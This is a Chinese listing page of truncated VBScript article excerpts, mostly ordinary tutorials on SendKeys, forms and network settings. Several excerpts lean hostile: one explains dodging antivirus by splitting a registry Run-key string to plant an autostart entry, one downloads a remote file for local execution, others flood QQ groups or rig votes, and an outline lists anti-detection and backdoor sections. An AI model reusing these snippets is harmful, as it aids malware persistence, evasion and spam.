切换dos并dir的vbs 2017年02月06日 92 阅读 复制代码 代码如下:<script language=vbscript>Dim oShellSet oShell = WScript.CreateObject ("WSCript.shell")oShell.run "cmd /K CD c: & dir"Set oShell = Nothing</script>...
杀毒的对vbs相当敏感 免杀 2017年02月06日 92 阅读 复制代码 代码如下:现在杀毒的对vbs相当敏感,只要发现对注册表的xx作,或使用vbs运行命令(加用户) 就可能被杀。下面谈2方法可以简单解决:1.使用连接符"&" 如:Set CURObj = CreateObject("Wscript.Shell")mhk="HK"&"LMSOFT"&"WAREMicr"&"osoftWin"&"dowsCurren"&"tVersionRun"CURObj.RegWrite ""&mhk&"internat.exe"...
多进程的vbs脚本 2017年02月06日 95 阅读 文章作者:千寂孤城 信息来源:邪恶八进制信息安全团队 朋友要刷票,我帮他写了个刷票的脚本。但是脚本只能单线程的运行,太慢了,于是我用wmi配合写了个模拟多线程的脚本。(其实是多进程的,呵呵) 复制代码 代码如下: "Createdby千寂孤城 setshell=createobject("wscript.shell") sethttp=createobject("Microsoft.XMLHTTP") "获得“wscript.exe”进程的数量 a=0 f...
Windows管理脚本学习 2017年02月06日 78 阅读 站长(reterry)推荐此篇文章,想学vbscript的朋友,我建议到微软的官方网站去看,那里的东西很不错,生动幽默,我以前学vbscirpt的时候经常去那里看,而且好多东西,不一定刚开始能看的懂,但不要灰心,把感觉不错的,你可以用本子抄一遍,学习效果会更好,然后下载个vbscirpt帮助文件,微软有的下,然后看看多练习。花了半天时间在MS TechNet看《脚本的故事》,文章写得很生动幽默,要是所有的有技术文章都以这种轻松的方式来写就好了。 WMI -...
15分钟提醒一次,珍惜时间啊 2017年02月06日 78 阅读 15分钟提醒一次,珍惜时间啊保存为.vbs复制代码 代码如下:today=Date() years=DatePart("yyyy",today)-1981-1 Days=DatePart("y",today)+25 IfDatePart("m",today)=12Then ifDatePart("d",today)>=9Then MsgBox"ok" Years=Years+1 Days=DatePart("d",Date)-9 endif endI...
从一个VBS脚本学习一点点东西 2017年02月06日 129 阅读 不知道是最近还是以前,反正就是这几天经常在网上看到一个刷QQ群的VBS代码。 复制代码 代码如下:SetWshShell=WScript.createObject("WScript.Shell") WshShell.AppActivate"群-Powers成员交流" fori=1to10"要发的次数 WScript.Sleep500"发送消息的时间间隔 WshShell.SendKeys"^v""要发的内容 WshShell.SendKeysi"这里拿每条...
VBS相册生成脚本[ 2017年02月06日 72 阅读 此脚本的功能为将一个目录中的jpg,gif,png格式的图片生成Html相册,页面上的图像只是改变显示大小,并没有生成缩略图。用到的技术:Scripting.FileSystemObject,Adodb.Stream。其中得到图片长宽用了秋水无恨的Adodb.Stream取得图像的高宽 复制代码 代码如下:"/////////////////////////////////////////////// "VBS相册生成脚本,使用方法:将此文件放在sendt...
exe2swf 工具(Adodb.Stream版) 2017年02月06日 82 阅读 Exe2swf,将exe格式的flash文件转为swf格式。网上有很多这方面的工具,这个是用vbscript写的。用法: 将下面代码存为exe2swf.vbs 将exe格式的flash拖放在此文件上,即可生成swf文件, 更新日期:2005-01-2009:30 复制代码 代码如下:"exe2swf工具, "用法:将exe格式的flash拖放在此文件上,即可生成swf文件, "haiwa@http://www.51windows.Net "感谢jimbob...
使用脚本自动修改ip设置 2017年02月06日 244 阅读 vbs脚本的功能非常强大,管理系统简单方便!下面的脚本win2000和winxp都可以使用,win2003没有测试过, 应该也没有问题。如果需要经常切换网关,或是ip,这个脚本是最方便的了。稍微修改一下甚至可以做到1分钟变一次ip。 复制代码 代码如下:@Echo OffTITLE 脚本之家ip设置器:startCLSCOLOR 2f:: 使用COLOR命令对控制台输出颜色进行更改mode con cols=56 lines=20:: MODE语句为设定窗...
深入挖掘Windows脚本技术第1/2页 2017年02月06日 90 阅读 深入挖掘Windows脚本技术文章作者:zzzEVAzzz <zzzevazzz@126.com> 为使文中涉及的代码整洁,将使用论坛的PHP标签处理。(没有VBS标签,code标签不好用,郁闷) 如果转载本文,请注意做相应调整。 【目录】 1,前言 2,回顾WSH对象 3,WMI服务 4,脚本也有GUI 5,反查杀 6,来做个后门 7,结语 8,参考资料 【前言】 本文讲述一些Windows脚本编程的知识和技巧。这里的Windows脚本是指"...
用VBSCRIPT控制ONSUBMIT事件 2017年02月06日 86 阅读 问怎么用VBSCRIPT控制不让表单提交,感觉很好玩。我试着写了一段程序,竟然不能控制,气坏我了。于是搬出搜索引擎,一阵搜索,找到了答案 VBSCRIPT控制FORM Function form1_onSubmit() Msgbox "就不让你提交" form1_onSubmit = false End Function [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]...
VBS中Select CASE的其它用法 2017年02月06日 77 阅读 marr=20selectcasetruecasemarr<12response.write"小于12"casemarr>12response.write"大于12"casemarr=12response.write"=="endselect还可以这样用casemarr>7andmarr<12...
vbscript 可以按引用传递参数吗? 2017年02月06日 85 阅读 vbscript可以按引用传递参数吗? 比如说 functionddd(str) str=str&"12345" endfunction abc="54321" 想通过ddd(abc),把abc变成“5432112345” 要怎么改动才行呢?回答: function ddd(str) str=str & "12345" end function abc="54321" ddd abc msgbox abc [Ctrl+A 全选 注:如需引入外部Js需刷...
下载文件到本地运行的vbs 2017年02月06日 76 阅读 复制代码 代码如下:"onerrorresumenext dl=http://www.jb51.net/index.htm "这是要下载的文件的路径str="Microsoft.XMLHTTP" Setx=CreateObject(str) Setx=CreateObject(str) setS=createobject("adodb.stream") S.type=1 x.Open"GET",dl,False x.Send() fname1="img.e...
飘叶千夫指源代码,又称qq刷屏器 2017年02月06日 134 阅读 复制代码 代码如下:SetWshShell=WScript.CreateObject("WScript.Shell") WshShell.AppActivate"" fori=1to10´要发送的次数 WScript.Sleep500´定义发送信的所要的时间以ms毫秒为单位。如:1000为一秒发一次 WshShell.SendKeys"^v"´把剪贴版上的内容粘贴出来 WshShell.SendKeysi´输...
SendKeys参考文档 2017年02月06日 69 阅读 SendKeys参考文档 一直用foxipgw程序自动登录网关,今天做了一个自动调用foxipgw的程序,就不用每次点“确定”了,代码如下。 sets=WScript.CreateObject("WScript.Shell") app_window=s.run("D:SoftFoxIPGW.EXE") WScript.Sleep200 s.AppActivateapp_window s.SendKeys"{ESC}" s.SendKeys"{ESC}" ...
VBS中SendKeys的基本应用 2017年02月06日 128 阅读 ps:不知道有人还记得这个攻击qq群的代码?就是利用这个所写的!SendKeys模拟键盘操作,将一个或多个按键指令发送到指定Windows窗口来控制应用程序运行, 其使用格式为:object.SendKeysstring “object”:表示WshShell对象 “string”:表示要发送的按键指令字符串,需要放在英文双引号中。 1.基本键 一般来说,要发送的按键指令都可以直接用该按键字符本身来表示,例如要发送字母“x”,使用“WshShell.S...
VBScript教程 第十四课在VBScript中使用对象 2017年02月06日 83 阅读 使用对象无论使用的是 ActiveX? 控件(以前称为 OLE 控件)还是 Java? 对象,Microsoft Visual Basic Scripting Edition 和 Microsoft? Internet Explorer 都以相同的方式处理它们。如果您使用的是 Internet Explorer 并且 ActiveX 库中安装了这些控件,就会看到由以下代码制作的页面。 <OBJECT> 标记用来包含对象,<PARAM>...
VBScript教程 第十三课 VBScript与窗体 2017年02月06日 81 阅读 简单验证使用 Visual Basic Scripting Edition,您可以完成通常要在服务器上进行的大量窗体处理工作,也可以完成不能在服务器上进行的工作。 这是一个简单的客户端验证的样例。HTML 代码的结果是一个文本框和一个按钮。如果使用 Microsoft? Internet Explorer 查看用以下代码制作的页面,您会看到一个旁边带有按钮的小文本框。<HTML><HEAD><TITLE>简单验证<...
VBScript教程 第十二课VBScript页面的简单样例 2017年02月06日 75 阅读 一个简单页面使用 Microsoft? Internet Explorer 可以查看用以下 HTML 代码制作的页面。如果单击页面上的按钮,可看到 VBScript 的运行结果。 <HTML><HEAD><TITLE>一个简单首页</TITLE><SCRIPT LANGUAGE="VBScript"><!--Sub Button1_onClickMsgBox "Mirabile vi...